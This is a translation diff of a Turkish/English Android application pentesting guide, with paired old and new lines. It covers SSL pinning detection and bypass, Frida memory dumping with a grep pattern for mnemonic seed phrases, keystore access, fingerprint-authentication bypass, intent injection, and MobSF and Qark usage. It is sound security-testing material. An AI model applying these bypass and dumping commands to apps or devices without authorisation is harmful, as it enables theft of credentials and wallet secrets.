Runtime bypass denemeden önce, pinning'in APK içinde nerelerde uygulandığını hızlıca haritalayın. Statik keşif, hook/patch planlamanıza yardımcı olur ve doğru kod yollarına odaklanmanızı sağlar.
Runtime bypass denemelerine başlamadan önce, pinning'in APK içinde nerede uygulandığını hızlıca haritalayın. Statik keşif, hook/patch planlamanıza yardımcı olur ve doğru kod yollarına odaklanmanızı sağlar.
Tool: SSLPinDetect
- APK'yı Smali'ye decompile etmek (apktool aracılığıyla) ve SSL/TLS pinning implementasyonlarına ait küratörlü regex pattern'lerini taramak için açık kaynaklı statik-analiz aracı.
- Her eşleşme için tam dosya yolu, satır numarası ve bir kod snippet'i raporlar.
- Yaygın framework'leri ve custom kod yollarını kapsar: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init ile custom TrustManagers/KeyManagers, ve Network Security Config XML pinleri.
- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations.
- Eşleşen her öğe için tam dosya yolu, satır numarası ve bir kod snippet'i raporlar.
- OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers ve Network Security Config XML pin'leri gibi yaygın framework ve custom kod yollarını kapsar.
Kurulum
- Gereksinimler: Python >= 3.8, Java on PATH, apktool
Install
- Prereqs: Python >= 3.8, Java on PATH, apktool
```bash
git clone https://github.com/aancw/SSLPinDetect
cd SSLPinDetect
@ -456,8 +456,8 @@ python sslpindetect.py -f app.apk -a apktool.jar
# Verbose (timings + per-match path:line + snippet)
python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
```
Örnek desen kuralları (JSON)
Proprietary/custom pinning stillerini tespit etmek için signatures kullanın veya genişletin. Kendi JSON'unuzu yükleyebilir ve ölçekli olarak scan edebilirsiniz.
Örnek pattern kuralları (JSON)
Özel/custom pinning stillerini tespit etmek için signatures'i kullanın veya genişletin. Kendi JSON'unuzu yükleyip ölçekli olarak tarama yapabilirsiniz.
```json
{
"OkHttp Certificate Pinning": [
@ -471,55 +471,55 @@ Proprietary/custom pinning stillerini tespit etmek için signatures kullanın ve
]
}
```
Notlar ve ipuçları
- Büyük uygulamalarda hızlı tarama için multi-threading ve memory-mapped I/O kullanın; önceden derlenmiş regex, yükü/yanlış pozitifleri azaltır.
Notes and tips
- Büyük uygulamalarda çok iş parçacıklı ve memory-mapped I/O ile hızlı tarama; önceden derlenmiş regex aşırı yükü/yanlış pozitifleri azaltır.
- Pattern collection: https://github.com/aancw/smali-sslpin-patterns
- Sonraki önceliklendirme için tipik tespit hedefleri:
- OkHttp: CertificatePinner kullanımı, setCertificatePinner, okhttp3/okhttp paket referansları
- Sonraki önceliklendirme (triage) için tipik tespit hedefleri:
- OkHttp: CertificatePinner kullanım, setCertificatePinner, okhttp3/okhttp paket referansları
- Özel TrustManager'lar: javax.net.ssl.X509TrustManager, checkServerTrusted override'ları
- Özel SSL context'leri: SSLContext.getInstance + SSLContext.init özel manager'larla
- res/xml içindeki declarative pin'ler (network security config) ve manifest referansları
- Eşleşen konumları dinamik testlerden önce Frida hook'ları, statik yamalar veya konfigürasyon incelemelerini planlamak için kullanın.
- Özel SSL context'leri: SSLContext.getInstance + SSLContext.init ile özel manager'lar
- res/xml içindeki deklaratif pin'ler, network security config ve manifest referansları
- Eşleşen konumları, dinamik testlerden önce Frida hook'ları, statik yamalar veya konfigürasyon incelemelerini planlamak için kullanın.
#### SSL Pinning'i Atlatma
SSL Pinning uygulandığında, HTTPS trafiğini incelemek için bunu atlatmak gerekir. Bu amaçla çeşitli yöntemler mevcuttur:
SSL Pinning uygulandığında, HTTPS trafiğini incelemek için bunu atlatmak gerekebilir. Bu amaçla çeşitli yöntemler mevcuttur:
- Otomatik olarak **apk**'yı **değiştirip** SSLPinning'i **atlatmak** için [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) kullanın. Bu seçeneğin en büyük avantajı, SSL Pinning'i atlatmak için root gerekmemesi; ancak uygulamayı silip yeniden yüklemeniz gerekir ve bu her zaman işe yaramayabilir.
- Bu korumayı atlamak için **Frida** (aşağıda anlatılıyor) kullanabilirsiniz. Burp+Frida+Genymotion kullanımı için rehber: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- [**objection**](frida-tutorial/objection-tutorial.md) kullanarak **otomatik olarak SSL Pinning'i atmaya** da çalışabilirsiniz:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- **MobSF dynamic analysis** (aşağıda açıklanıyor) kullanarak **otomatik olarak SSL Pinning atlama**yı da deneyebilirsiniz
- Eğer hala yakalayamadığınız trafik olduğunu düşünüyorsanız, trafiği iptables kullanarak burp'a yönlendirmeyi deneyebilirsiniz. Bu blogu okuyun: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
- [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) ile **apk**'yi otomatik olarak **değiştirip** SSLPinning'i **atlatabilirsiniz**. Bu seçeneğin en büyük avantajı, SSL Pinning'i atlatmak için root'a ihtiyaç duymamanızdır; ancak uygulamayı silip yeniden yüklemeniz gerekir ve bu her zaman işe yaramayabilir.
- Bu korumayı atlatmak için aşağıda bahsedilen **Frida**'yı kullanabilirsiniz. Burp+Frida+Genymotion kullanımı için bir rehber: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- [**objection**](frida-tutorial/objection-tutorial.md) kullanarak SSL Pinning'i otomatik olarak atlatmayı da deneyebilirsiniz: `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Ayrıca **MobSF dynamic analysis** kullanarak SSL Pinning'i otomatik olarak atlatmayı deneyebilirsiniz (aşağıda açıklanmıştır)
- Hâlâ yakalayamadığınız trafik olduğunu düşünüyorsanız, trafiği iptables kullanarak burp'a yönlendirmeyi deneyebilirsiniz. Bu blogu okuyun: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Yaygın Web Zafiyetlerini Arama
#### Yaygın Web Zafiyetleri Arama
Uygulama içinde yaygın web zafiyetlerini aramak da önemlidir. Bu zafiyetleri tespit etme ve hafifletme konusundaki ayrıntılı bilgiler bu özetin kapsamı dışında ancak başka yerlerde genişçe ele alınmıştır.
Uygulama içinde yaygın web zafiyetlerini aramak da önemlidir. Bu zafiyetlerin tespiti ve hafifletilmesiyle ilgili detaylar bu özetin kapsamı dışında olup başka kaynaklarda genişçe ele alınmıştır.
### Frida
[Frida](https://www.frida.re) geliştiriciler, tersine mühendislik yapanlar ve güvenlik araştırmacıları için dinamik bir enstrümantasyon araç setidir.\
**Çalışan uygulamaya erişip runtime'da method'ları hook'layarak davranışı değiştirebilir, değerleri değiştirebilir, değerleri çıkarabilir veya farklı kod çalıştırabilirsiniz...**\
Android uygulamalarını pentest etmek istiyorsanız Frida'yı nasıl kullanacağınızı bilmelisiniz.
[Frida](https://www.frida.re) geliştiriciler, reverse-engineer'lar ve güvenlik araştırmacıları için bir dynamic instrumentation toolkit'tir.\
**Çalışan uygulamaya erişip çalışma zamanında metodları hook'layarak davranışı değiştirebilir, değerleri değiştirebilir, değerleri çıkartabilir, farklı kod çalıştırabilirsiniz...**\
Android uygulamalarını pentest etmek istiyorsanız Frida'yı nasıl kullanacağınızı bilmeniz gerekir.
- Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html)
- Frida ile işlemler için bazı "GUI"ler: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection, Frida kullanımını otomatikleştirmek için harikadır: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Bazı Awesome Frida script'lerini burada bulabilirsiniz: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Frida'yı ptrace olmadan yükleyerek anti-debugging / anti-frida mekanizmalarını atlatmayı deneyin; rehber: [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs))
- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection Frida kullanımını otomatikleştirmek için harikadır: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re/)
- Anti-debugging / anti-frida mekanizmalarını atlatmaya çalışın; Frida'yı şu adreste gösterildiği şekilde yükleyerek: [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (araç [linjector](https://github.com/erfur/linjector-rs))
#### Anti-instrumentation & SSL pinning bypass workflow
#### Anti-instrumentation & SSL pinning atlatma iş akışı
{{#ref}}
android-anti-instrumentation-and-ssl-pinning-bypass.md
{{#endref}}
### **Belleği Dökme - Fridump**
### **Bellek Dökümü - Fridump**
Uygulamanın, parola veya mnemonikler gibi saklamaması gereken hassas bilgileri bellekte saklayıp saklamadığını kontrol edin.
Uygulamanın, parolalar veya mnemonikler gibi saklamaması gereken hassas bilgileri bellekte tutup tutmadığını kontrol edin.
[**Fridump3**](https://github.com/rootbsd/fridump3) kullanarak uygulamanın belleğini şu şekilde dökebilirsiniz:
Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with:
```bash
# With PID
python3 fridump3.py -u <PID>
@ -528,63 +528,63 @@ python3 fridump3.py -u <PID>
frida-ps -Uai
python3 fridump3.py -u "<Name>"
```
Bu, belleği ./dump klasörüne dökecektir; orada şu gibi bir komutla grep yapabilirsiniz:
Bu, belleği ./dump klasörüne dökecek ve orada şöyle bir komutla grep yapabilirsiniz:
```bash
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
```
### **Keystore'daki hassas veriler**
### **Keystore içindeki hassas veriler**
Android'de Keystore hassas verileri saklamak için en iyi yerdir, ancak yeterli ayrıcalıklarla hâlâ **erişmek mümkün**. Uygulamalar burada genellikle **düz metin halinde hassas veriler** saklama eğiliminde olduğundan pentests bunu root kullanıcı olarak veya cihaza fiziksel erişimi olan birisinin bu verileri çalabilmesi ihtimaline karşı kontrol etmelidir.
Android'de Keystore hassas verileri saklamak için en iyi yerdir, ancak yeterli ayrıcalığa sahip olunursa yine de **erişmek mümkün**. Uygulamalar burada genellikle **hassas verileri düz metin olarak** depolama eğiliminde olduğundan, pentests bunu kontrol etmelidir; root kullanıcı veya cihaza fiziksel erişimi olan kişiler bu verileri çalabilir.
Bir uygulama Keystore'a data kaydetmiş olsa bile, data şifrelenmiş olmalıdır.
Bir uygulama veriyi keystore'a depolamış olsa bile, veriler şifrelenmiş olmalıdır.
Keystore içindeki dataya erişmek için bu Frida script'ini kullanabilirsiniz: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
keystore içindeki verilere erişmek için bu Frida script'ini kullanabilirsiniz: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
```bash
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Fingerprint/Biometrics Bypass**
Aşağıdaki Frida script'ini kullanarak, Android uygulamalarının belirli hassas alanları korumak için gerçekleştirebileceği **bypass fingerprint authentication** işlemini atlatmak mümkün olabilir:
Aşağıdaki Frida script'ini kullanarak, Android uygulamalarının **belirli hassas alanları korumak için** uyguluyor olabileceği **bypass fingerprint authentication** işlemini atlamak mümkün olabilir:
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
### **Arka Plan Görüntüleri**
Bir uygulamayı arka plana attığınızda, Android uygulamanın **snapshot'ını** depolar; böylece uygulama tekrar öne getirildiğinde, uygulama yüklenmeden önce bu görüntüyü yüklemeye başlar ve uygulamanın daha hızlııldığı izlenimini verir.
Bir uygulamayı arka plana attığınızda, Android uygulamanın **anlık görüntüsünü** saklar; böylece uygulama öne getirildiğinde, uygulamanın kendisinden önce bu görüntüyü yüklemeye başlayarak uygulamanın daha hızlı yüklenmiş gibi görünmesini sağlar.
Ancak bu **snapshot** hassas bilgi içeriyorsa, snapshot'a erişimi olan biri bu bilgileri **çalabilir** (erişim için root gerektiğini unutmayın).
Ancak bu anlık görüntü **hassas bilgi** içeriyorsa, anlık görüntüye erişimi olan biri **o bilgiyi çalabilir** (erişim için root gerektiğini unutmayın).
Snapshot'lar genellikle şu dizinde saklanır: **`/data/system_ce/0/snapshots`**
Anlık görüntüler genellikle şu dizinde saklanır: **`/data/system_ce/0/snapshots`**
Android, düzen parametresi olarak **FLAG_SECURE ayarlanarak screenshot alınmasını engelleme** imkanı sağlar. Bu flag kullanıldığında, pencere içeriği güvenli olarak işaretlenir; böylece ekran görüntülerinde görünmesi veya güvensiz ekranlarda görüntülenmesi engellenir.
Android, layout parametresi olarak **FLAG_SECURE'i ayarlayarak ekran görüntüsü alınmasını engelleme** yolunu sağlar. Bu bayrağı kullanarak, pencere içeriği güvenli kabul edilir; böylece ekran görüntülerinde görünmesi veya güvenli olmayan ekranlarda görüntülenmesi engellenir.
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
### **Android Application Analyzer**
Bu araç, dynamic analysis sırasında farklı araçları yönetmenize yardımcı olabilir: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
Bu araç dinamik analiz sırasında farklı araçları yönetmenize yardımcı olabilir: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
### Intent Injection
Geliştiriciler sıklıkla bu Intents'leri işleyip `startActivity(...)` veya `sendBroadcast(...)` gibi yöntemlere ileten activities, services ve broadcast receivers gibi proxy bileşenler oluştururlar; bu durum riskli olabilir.
Geliştiriciler sıklıkla bu Intents ile ilgilenen ve `startActivity(...)` veya `sendBroadcast(...)` gibi yöntemlere ileten activities, services ve broadcast receivers gibi proxy bileşenler oluştururlar; bu durum riskli olabilir.
Tehlike, saldırganların bu Intents'leri yanlış yönlendirerek non-exported uygulama bileşenlerini tetiklemesine veya hassas content providers'a erişmesine izin verilmesindedir. Önemli bir örnek, `WebView` bileşeninin URL'leri `Intent.parseUri(...)` ile Intent nesnelerine dönüştürmesi ve ardından bunları çalıştırmasıdır; bu durum kötü amaçlı Intent enjeksiyonlarına yol açabilir.
Tehlike, saldırganların bu Intents'i yanlış yönlendirerek non-exported app components'i tetiklemesine veya hassas content providers'a erişmesine izin vermekte yatar. Örnek olarak `WebView` bileşeninin URL'leri `Intent.parseUri(...)` ile `Intent` nesnelerine dönüştürmesi ve sonra bunları çalıştırması, potansiyel olarak kötü amaçlı Intent enjeksiyonlarına yol açabilir.
### Essential Takeaways
- **Intent Injection** web'deki Open Redirect sorununa benzer.
- Exploits, `Intent` nesnelerini extras olarak geçirip bunların unsafe işlemleri gerçekleştirmek için yönlendirilmesini içerir.
- Bu, non-exported bileşenleri ve content providers'ı saldırganlara açabilir.
- `WebView`'in URL'den `Intent`e dönüşümü istenmeyen eylemleri kolaylaştırabilir.
- Sömürüler, `Intent` nesnelerinin extras olarak geçirilmesini ve bunların güvenli olmayan işlemleri yürütmek üzere yönlendirilmesini içerir.
- Bu, non-exported components ve content providers'ı saldırganlara açabilir.
- `WebView`ın URL'den `Intent` dönüşümü istenmeyen işlemleri kolaylaştırabilir.
### Android Client Side Injections and others
Muhtemelen bu tür zafiyetleri Web'den biliyorsunuzdur. Bir Android uygulamasında bu zafiyetlere özellikle dikkat etmelisiniz:
- **SQL Injection:** dynamic sorgular veya Content-Providers ile çalışırken parameterized queries kullandığınızdan emin olun.
- **JavaScript Injection (XSS):** Herhangi bir WebView için JavaScript ve Plugin desteğinin devre dışı olduğundan emin olun (varsayılan olarak devre dışı). [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** WebView'lerin dosya sistemine erişimi devre dışı olmalıdır (varsayılan olarak etkin) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: Birçok durumda, Android uygulama oturumu kapattığında cookie iptal edilmez veya diske bile kaydedilebilir.
- **SQL Injection:** Dynamic sorgularla veya Content-Providers ile uğraşırken parametreli sorgular kullandığınızdan emin olun.
- **JavaScript Injection (XSS):** Herhangi bir WebView için JavaScript ve Plugin desteğinin devre dışı bırakıldığını doğrulayın (varsayılan olarak devre dışı). [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** WebView'ların dosya sistemine erişiminin kapalı olması gerekir (varsayılan olarak açık) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: Birçok durumda Android uygulama oturumu sonlandırdığında cookie iptal edilmez veya hatta diske kaydedilmiş olabilir.
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
---
@ -597,51 +597,51 @@ Muhtemelen bu tür zafiyetleri Web'den biliyorsunuzdur. Bir Android uygulamasın
![](<../../images/image (866).png>)
**Vulnerability assessment of the application** using a nice web-based frontend. You can also perform dynamic analysis (but you need to prepare the environment).
**Vulnerability assessment of the application** hoş bir web tabanlı frontend kullanılarak yapılır. Ayrıca dinamik analiz de gerçekleştirebilirsiniz (ancak ortamı hazırlamanız gerekir).
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
```
MobSF'nin **Android**(apk)**, IOS**(ipa) **and Windows**(apx) uygulamalarını analiz edebildiğini unutmayın (_Windows uygulamaları, bir Windows host'a kurulu bir MobSF'den analiz edilmelidir_).\
Ayrıca, bir **Android** veya bir **IOS** uygulamasının kaynak koduyla bir **ZIP** dosyası oluşturursanız (uygulamanın kök klasörüne gidin, her şeyi seçin ve bir ZIP dosyası oluşturun), MobSF bunu da analiz edebilecektir.
MobSF'in **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\
Ayrıca, bir **Android** veya bir **IOS** uygulamasının kaynak koduyla bir **ZIP** dosyası oluşturursanız (uygulamanın kök klasörüne gidin, her şeyi seçin ve bir ZIPfile oluşturun), MobSF bunu da analiz edebilir.
MobSF ayrıca analizleri **diff/Compare** etmenize ve **VirusTotal** ile entegre olmanıza izin verir (API anahtarınızı _MobSF/settings.py_ içinde ayarlamanız ve etkinleştirmeniz gerekir: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). `VT_UPLOAD`'ı `False` olarak ayarlayabilirsiniz; bu durumda dosya yerine **hash** yüklenecektir.
MobSF ayrıca analizleri **diff/Compare** etmenize ve **VirusTotal** ile entegre olmanıza olanak tanır (API anahtarınızı _MobSF/settings.py_ içinde ayarlamanız ve etkinleştirmeniz gerekir: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). `VT_UPLOAD`'ı `False` yaparsanız, dosya yerine **hash** **upload** edilecektir.
### MobSF ile Yardımlı Dinamik Analiz
### MobSF ile Destekli Dinamik Analiz
**MobSF**, **Android** için **dynamic analysis** sırasında da çok faydalı olabilir, ancak bu durumda host'unuza MobSF ve **genymotion** kurmanız gerekir (VM veya Docker işe yaramaz). _Not: Önce **genymotion**'da bir VM başlatmalı ve **sonra MobSF**'yi çalıştırmalısınız._\
**MobSF** ayrıca **Android** için dinamik analiz konusunda çok faydalı olabilir, ancak bu durumda host'unuza MobSF ve **genymotion** kurmanız gerekir (VM veya Docker çalışmaz). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
**MobSF dynamic analyser** şunları yapabilir:
- **Dump application data** (URL'ler, loglar, clipboard, sizin aldığınız ekran görüntüleri, "**Exported Activity Tester**" tarafından alınan ekran görüntüleri, e-postalar, SQLite veritabanları, XML dosyaları ve oluşturulan diğer dosyalar). Ekran görüntüleri hariç bunların tümü otomatik olarak yapılır; ekran görüntüsü almak istediğinizde butona basmanız gerekir veya tüm exported activity'lerin ekran görüntülerini almak için "**Exported Activity Tester**" a basmalısınız.
- **HTTPS traffic**'i yakalar
- **Frida** kullanarak **runtime** **information** elde eder
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). Tüm bunlar otomatik olarak yapılır; sadece ekran görüntüleri için, ekran görüntüsü almak istediğinizde butona basmanız veya tüm exported aktivitelerin ekran görüntülerini almak için "**Exported Activity Tester**"a basmanız gerekir.
- Capture **HTTPS traffic**
- Use **Frida** to obtain **runtime** **information**
Android **versions > 5** sürümlerinden itibaren, otomatik olarak **Frida**'yı başlatır ve trafiği yakalamak için global **proxy** ayarlarını yapar. Yalnızca test edilen uygulamanın trafiğini yakalar.
Android **versions > 5** sürümlerinden itibaren, **otomatik olarak Frida'yı başlatır** ve trafiği **capture** etmek için global **proxy** ayarlarını yapılandırır. Yalnızca test edilen uygulamanın trafiğini yakalar.
Frida
**Frida**
Varsayılan olarak bazı Frida Scripts'leri kullanarak **bypass SSL pinning**, **root detection** ve **debugger detection** ile başa çıkar ve ilginç API'leri **monitor** eder.\
MobSF ayrıca **invoke exported activities**'i çağırabilir, bunların **screenshots**'larını alabilir ve rapor için **save** edebilir.
Varsayılan olarak, bazı Frida Scripts kullanarak **bypass SSL pinning**, **root detection** ve **debugger detection** yapar ve ilginç API'leri **monitor** eder.\
MobSF ayrıca **invoke exported activities** yapabilir, bunların **screenshots**'larını alabilir ve rapor için **save** edebilir.
Dinamik testi başlatmak için yeşil düğmeye: "**Start Instrumentation**" basın. Frida script'leri tarafından oluşturulan logları görmek için "**Frida Live Logs**" ve hooked metodlara yapılan tüm çağrıları, geçirilen argümanları ve döndürülen değerleri görmek için "**Live API Monitor**" a basın (bu, "**Start Instrumentation**" a bastıktan sonra görünecektir).\
MobSF ayrıca kendi **Frida scripts**'lerinizi yüklemenize olanak tanır (Frida script'lerinizin sonuçlarını MobSF'ye göndermek için `send()` fonksiyonunu kullanın). Yükleyebileceğiniz **several pre-written scripts** de mevcuttur (daha fazlasını `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` dizinine ekleyebilirsiniz), onları **select** edin, "**Load**" a ve ardından "**Start Instrumentation**" a basın (bu script'lerin loglarını "**Frida Live Logs**" içinde görebileceksiniz).
Dinamik testi **start** etmek için yeşil butona basın: "**Start Instrumentation**". Frida script'leri tarafından üretilen logları görmek için "**Frida Live Logs**" a basın ve hooked metodlara yapılan tüm invokasyonları, geçirilen argümanları ve dönen değerleri görmek için "**Live API Monitor**" a basın (bu, "Start Instrumentation" a bastıktan sonra görünecektir).\
MobSF ayrıca kendi **Frida scripts**'lerinizi yüklemenize izin verir (Frida script'lerinizin sonuçlarını MobSF'ye göndermek için `send()` fonksiyonunu kullanın). Ayrıca yükleyebileceğiniz **several pre-written scripts** içerir (daha fazlasını `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` dizinine ekleyebilirsiniz), sadece **select them**, "**Load**" a basın ve "**Start Instrumentation**" a basın (bu scriptlerin loglarını "**Frida Live Logs**" içinde görebileceksiniz).
![](<../../images/image (419).png>)
Ayrıca bazı yardımcı Frida fonksiyonaliteleri vardır:
Ayrıca bazı yardımcı Frida fonksiyonları vardır:
- **Enumerate Loaded Classes**: Yüklenen tüm sınıfları yazdırır
- **Capture Strings**: Uygulamayı kullanırken yakalanan tüm stringleri yazdırır (çok gürültülü)
- **Capture String Comparisons**: Çok faydalı olabilir. **Karşılaştırılan 2 string'i gösterir** ve sonucun True mu False mı olduğunu belirtir.
- **Enumerate Class Methods**: Sınıf adını girin (ör. "java.io.File") ve sınıfın tüm methodlarını yazdırır.
- **Capture Strings**: Uygulamayı kullanırken tüm capture string'leri yazdırır (çok gürültülü)
- **Capture String Comparisons**: Çok faydalı olabilir. Karşılaştırılan iki string'i gösterir ve sonucun True veya False olduğunu bildirir.
- **Enumerate Class Methods**: Sınıf adını girin (ör. "java.io.File") ve sınıfın tüm metodlarını yazdırır.
- **Search Class Pattern**: Desene göre sınıfları arar
- **Trace Class Methods**: Bir **sınıfı Trace eder** (sınıftaki tüm metodların giriş ve çıkışlarını görür). Varsayılan olarak MobSF birkaç ilginç Android API metodunu trace eder.
- **Trace Class Methods**: Bir sınıfın tamamını **Trace** eder (sınıftaki tüm metodların giriş ve çıkışlarını görür). Unutmayın, varsayılan olarak MobSF birkaç ilginç Android API metodunu trace eder.
Kullanmak istediğiniz yardımcı modülü seçtikten sonra "**Start Instrumentation**" a basmanız gerekir ve tüm çıktıları "**Frida Live Logs**" içinde göreceksiniz.
Yardımcı modülü seçtikten sonra "**Start Intrumentation**" a basmanız gerekir ve tüm çıktıları "**Frida Live Logs**" içinde göreceksiniz.
Shell
**Shell**
MobSF ayrıca dynamic analysis sayfasının altında bazı **adb** komutları, **MobSF commands** ve yaygın **shell** **commands** içeren bir shell sunar. Bazı ilginç komutlar:
MobSF ayrıca dynamic analysis sayfasının alt kısmında bazı **adb** komutları, **MobSF commands**, ve yaygın **shell** **commands** içeren bir shell sunar. Bazı ilginç komutlar:
```bash
help
shell ls
@ -652,32 +652,32 @@ receivers
```
**HTTP araçları**
HTTP trafiği yakalandığında, yakalanan trafiğin çirkin bir görünümünü "**HTTP(S) Traffic**" butonunda veya daha güzel bir görünümünü "**Start HTTPTools**" yeşil butonunda görebilirsiniz. İkinci seçenekten, **yakalanan istekleri** Burp veya Owasp ZAP gibi **proxies**'e **send** edebilirsiniz.\
Bunu yapmak için, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
HTTP trafiği yakalandığında, yakalanan trafiğin kaba bir görünümünü "**HTTP(S) Traffic**" alt kısmında veya daha hoş bir görünümünü "**Start HTTPTools**" yeşil butonunda görebilirsiniz. İkinci seçenekten, **send** the **captured requests** to **proxies** like Burp or Owasp ZAP yapabilirsiniz.\
Bunu yapmak için, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> basın "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
MobSF ile dinamik analizi bitirdikten sonra "**Start Web API Fuzzer**" tuşuna basıp **fuzz http requests** yaparak zafiyet arayabilirsiniz.
MobSF ile dinamik analizi bitirdikten sonra "**Start Web API Fuzzer**" tuşuna basarak **fuzz http requests** yapabilir ve zayıflıkları arayabilirsiniz.
> [!TIP]
> MobSF ile dinamik analiz yaptıktan sonra proxy ayarları yanlış yapılandırılmış olabilir ve GUI üzerinden düzeltemeyebilirsiniz. Proxy ayarlarını şu komut ile düzeltebilirsiniz:
> MobSF ile dinamik analiz yaptıktan sonra proxy ayarları yanlış yapılandırılmış olabilir ve GUI üzerinden düzeltemeyebilirsiniz. Proxy ayarlarını şu komutla düzeltebilirsiniz:
>
> ```
> adb shell settings put global http_proxy :0
> ```
### Assisted Dynamic Analysis with Inspeckage
### Inspeckage ile Yardımlı Dinamik Analiz
You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
Bu araç, dinamik analiz yaparken uygulamada **neler olduğuna** dair bilgi vermek için bazı **Hooks** kullanır.
Aracı [**Inspeckage**](https://github.com/ac-pm/Inspeckage) adresinden edinebilirsiniz.\
Bu araç, **dynamic analysis** yaparken uygulamada **nelerin olduğunu** anlamanız için bazı **Hooks** kullanır.
### [Yaazhini](https://www.vegabird.com/yaazhini/)
Bu, GUI ile **statik analiz yapmak için harika bir araçtır**
Bu, GUI ile static analysis yapmak için harika bir araçtır.
![](<../../images/image (741).png>)
### [Qark](https://github.com/linkedin/qark)
Bu araç, hem **source code** içinde hem de **packaged APKs** içinde çeşitli **security related Android application vulnerabilities** aramak için tasarlanmıştır. Araç ayrıca bazı bulunan zafiyetleri (Exposed activities, intents, tapjacking...) sömürmek için **"Proof-of-Concept" deployable APK** ve **ADB commands** oluşturma yeteneğine sahiptir. Drozer ile olduğu gibi, test cihazını root etmenize gerek yoktur.
Bu araç, hem **source code** hem de **packaged APKs** içinde çeşitli **security related Android application vulnerabilities** aramak için tasarlanmıştır. Araç ayrıca bulunan bazı zayıflıkları (Exposed activities, intents, tapjacking...) kullanmak için dağıtılabilir bir **"Proof-of-Concept" deployable APK** ve **ADB commands** oluşturma yeteneğine sahiptir. Drozer'da olduğu gibi, test cihazını rootlamaya gerek yoktur.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -686,10 +686,10 @@ qark --java path/to/specific/java/file.java
```
